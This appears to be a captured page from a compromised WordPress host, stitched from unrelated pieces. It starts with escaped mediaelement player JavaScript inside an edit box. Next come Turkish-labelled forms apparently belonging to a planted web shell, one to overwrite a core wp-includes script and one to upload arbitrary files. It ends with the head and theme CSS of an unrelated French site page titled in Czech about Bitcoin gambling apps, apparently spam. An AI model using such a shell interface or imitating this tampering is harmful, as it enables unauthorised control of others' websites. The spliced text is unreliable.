	var result = forceHours || hours &gt; 0 ? (hours &lt; 10 &amp;&amp; timeFormatSettings.h &gt; 1 ? &#039;0&#039; + hours : hours) + &#039;:&#039; : &#039;&#039;;
	result += (minutes &lt; 10 &amp;&amp; timeFormatSettings.m &gt; 1 ? &#039;0&#039; + minutes : minutes) + &#039;:&#039;;
	result += &#039;&#039; + (seconds &lt; 10 &amp;&amp; timeFormatSettings.s &gt; 1 ? &#039;0&#039; + seconds : seconds);

	if (showFrameCount) {
		frames = (f % timeBase).toFixed(0);
		frames = frames &lt;= 0 ? 0 : frames;
		result += frames &lt; 10 &amp;&amp; timeFormatSettings.f ? frameSep + &#039;0&#039; + frames : &#039;&#039; + frameSep + frames;
	}

	return result;
}

function timeCodeToSeconds(time) {
	var fps = arguments.length &gt; 1 &amp;&amp; arguments[1] !== undefined ? arguments[1] : 25;


	if (typeof time !== &#039;string&#039;) {
		throw new TypeError(&#039;Time must be a string&#039;);
	}

	if (time.indexOf(&#039;;&#039;) &gt; 0) {
		time = time.replace(&#039;;&#039;, &#039;:&#039;);
	}

	if (!/\d{2}(\:\d{2}){0,3}/i.test(time)) {
		throw new TypeError(&#039;Time code must have the format `00:00:00`&#039;);
	}

	var parts = time.split(&#039;:&#039;);

	var output = void 0,
	    hours = 0,
	    minutes = 0,
	    seconds = 0,
	    frames = 0,
	    totalMinutes = 0,
	    dropFrames = Math.round(fps * 0.066666),
	    timeBase = Math.round(fps),
	    hFrames = timeBase * 3600,
	    mFrames = timeBase * 60;

	switch (parts.length) {
		default:
		case 1:
			seconds = parseInt(parts[0], 10);
			break;
		case 2:
			minutes = parseInt(parts[0], 10);
			seconds = parseInt(parts[1], 10);
			break;
		case 3:
			hours = parseInt(parts[0], 10);
			minutes = parseInt(parts[1], 10);
			seconds = parseInt(parts[2], 10);
			break;
		case 4:
			hours = parseInt(parts[0], 10);
			minutes = parseInt(parts[1], 10);
			seconds = parseInt(parts[2], 10);
			frames = parseInt(parts[3], 10);
			break;
	}

	if (isDropFrame(fps)) {
		totalMinutes = 60 * hours + minutes;
		output = hFrames * hours + mFrames * minutes + timeBase * seconds + frames - dropFrames * (totalMinutes - Math.floor(totalMinutes / 10));
	} else {
		output = (hFrames * hours + mFrames * minutes + fps * seconds + frames) / fps;
	}

	return parseFloat(output.toFixed(3));
}

function calculateTimeFormat(time, options) {
	var fps = arguments.length &gt; 2 &amp;&amp; arguments[2] !== undefined ? arguments[2] : 25;


	time = !time || typeof time !== &#039;number&#039; || time &lt; 0 ? 0 : time;

	var hours = Math.floor(time / 3600) % 24,
	    minutes = Math.floor(time / 60) % 60,
	    seconds = Math.floor(time % 60),
	    frames = Math.floor((time % 1 * fps).toFixed(3)),
	    lis = [[frames, &#039;f&#039;], [seconds, &#039;s&#039;], [minutes, &#039;m&#039;], [hours, &#039;h&#039;]];

	var format = options.timeFormat,
	    firstTwoPlaces = format[1] === format[0],
	    separatorIndex = firstTwoPlaces ? 2 : 1,
	    separator = format.length &lt; separatorIndex ? format[separatorIndex] : &#039;:&#039;,
	    firstChar = format[0],
	    required = false;

	for (var i = 0, len = lis.length; i &lt; len; i++) {
		if (~format.indexOf(lis[i][1])) {
			required = true;
		} else if (required) {
			var hasNextValue = false;
			for (var j = i; j &lt; len; j++) {
				if (lis[j][0] &gt; 0) {
					hasNextValue = true;
					break;
				}
			}

			if (!hasNextValue) {
				break;
			}

			if (!firstTwoPlaces) {
				format = firstChar + format;
			}
			format = lis[i][1] + separator + format;
			if (firstTwoPlaces) {
				format = lis[i][1] + format;
			}
			firstChar = lis[i][1];
		}
	}

	options.timeFormat = format;
}

function convertSMPTEtoSeconds(SMPTE) {

	if (typeof SMPTE !== &#039;string&#039;) {
		throw new TypeError(&#039;Argument must be a string value&#039;);
	}

	SMPTE = SMPTE.replace(&#039;,&#039;, &#039;.&#039;);

	var decimalLen = ~SMPTE.indexOf(&#039;.&#039;) ? SMPTE.split(&#039;.&#039;)[1].length : 0;

	var secs = 0,
	    multiplier = 1;

	SMPTE = SMPTE.split(&#039;:&#039;).reverse();

	for (var i = 0, total = SMPTE.length; i &lt; total; i++) {
		multiplier = 1;
		if (i &gt; 0) {
			multiplier = Math.pow(60, i);
		}
		secs += Number(SMPTE[i]) * multiplier;
	}
	return Number(secs.toFixed(decimalLen));
}

_mejs2.default.Utils = _mejs2.default.Utils || {};
_mejs2.default.Utils.secondsToTimeCode = secondsToTimeCode;
_mejs2.default.Utils.timeCodeToSeconds = timeCodeToSeconds;
_mejs2.default.Utils.calculateTimeFormat = calculateTimeFormat;
_mejs2.default.Utils.convertSMPTEtoSeconds = convertSMPTEtoSeconds;

},{&quot;7&quot;:7}]},{},[29,6,5,15,23,20,19,21,22,24,16,18,17,9,10,11,12,13,14]);
</textarea><br><br>
            <input type="hidden" name="save_file" value="/home4/jrbprodu/public_html/wp-includes/js/mediaelement/mediaelement-and-player.js">
            <button type="submit">Kaydet</button>
        </form>
        <hr>
    <h3>Dosya Yükle</h3>
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="upload_file">
    <button type="submit">Yükle</button>
</form><!DOCTYPE html>
<html lang="fr-FR">
<head>
	<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<link rel="pingback" href="https://haggai-bf.org/xmlrpc.php" />

	<script type="text/javascript">
		document.documentElement.className = 'js';
	</script>

	<title>BTC hrát: aplikace a mobilní průvodce | HAGGAI BURKINA FASO</title>
<meta name='robots' content='max-image-preview:large' />
<script type="text/javascript">
			let jqueryParams=[],jQuery=function(r){return jqueryParams=[...jqueryParams,r],jQuery},$=function(r){return jqueryParams=[...jqueryParams,r],$};window.jQuery=jQuery,window.$=jQuery;let customHeadScripts=!1;jQuery.fn=jQuery.prototype={},$.fn=jQuery.prototype={},jQuery.noConflict=function(r){if(window.jQuery)return jQuery=window.jQuery,$=window.jQuery,customHeadScripts=!0,jQuery.noConflict},jQuery.ready=function(r){jqueryParams=[...jqueryParams,r]},$.ready=function(r){jqueryParams=[...jqueryParams,r]},jQuery.load=function(r){jqueryParams=[...jqueryParams,r]},$.load=function(r){jqueryParams=[...jqueryParams,r]},jQuery.fn.ready=function(r){jqueryParams=[...jqueryParams,r]},$.fn.ready=function(r){jqueryParams=[...jqueryParams,r]};</script><link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux" href="https://haggai-bf.org/feed/" />
<link rel="alternate" type="application/rss+xml" title="HAGGAI BURKINA FASO &raquo; Flux des commentaires" href="https://haggai-bf.org/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://haggai-bf.org/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fhaggai-bf.org%2Fbtc-hrat-aplikace-a-mobilni-pruvodce%2F&#038;format=xml" />
<meta content="Divi Child v.1.0.0" name="generator"/><style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style*=border-color]){border-style:solid}html :where([style*=border-top-color]){border-top-style:solid}html :where([style*=border-right-color]){border-right-style:solid}html :where([style*=border-bottom-color]){border-bottom-style:solid}html :where([style*=border-left-color]){border-left-style:solid}html :where([style*=border-width]){border-style:solid}html :where([style*=border-top-width]){border-top-style:solid}html :where([style*=border-right-width]){border-right-style:solid}html :where([style*=border-bottom-width]){border-bottom-style:solid}html :where([style*=border-left-width]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a1df360ce458*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='et-divi-open-sans-css' href='https://fonts.googleapis.com/css?family=Open+Sans:300italic,400italic,600italic,700italic,800italic,400,300,600,700,800&#038;subset=latin,latin-ext&#038;display=swap' media='all' />
<style id="divi-style-parent-inline-inline-css">
/*!
Theme Name: Divi
Theme URI: http://www.elegantthemes.com/gallery/divi/
Version: 4.27.6
Description: Smart. Flexible. Beautiful. Divi is the most powerful theme in our collection.
Author: Elegant Themes
Author URI: http://www.elegantthemes.com
License: GNU General Public License v2
License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(https://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade 